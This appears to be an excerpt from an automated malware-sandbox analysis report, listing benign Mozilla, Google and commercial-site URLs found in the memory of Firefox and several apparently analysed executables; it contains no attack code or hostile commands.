Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/internal:privateBrowsingAllowed
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/internal:privateBrowsingAllowedshims/mochitest-shim-2.jsshims/mochit
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comshowBadgeOnlyNotificationbrowser.urlbar.openViewOnFocushttps://monito
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA2B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE3EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE384000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpgetCanApplyUpdates
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesSELECT
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation.unified-extensions-context-menu-remove-extensionr
Source: 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2440095414.0000000023AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCC66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 954f709e67.exe, 0000001D.00000002.3306723851.00000000011A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&re
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000002F.00000002.3682068235.00000214FECA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2326164117.00000000236A9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043696768.0000000005851000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043322210.000000000585A000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127544072.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127188204.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3258859649.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/ipc:first-content-process-createdstartup
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/RestartOnLastWindowClosed.#maybeRestartBrowser
Source: firefox.exe, 0000002F.00000002.3634587575.00000214F9213000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3526297302.00000214F897B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3327733092.00000214ED091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
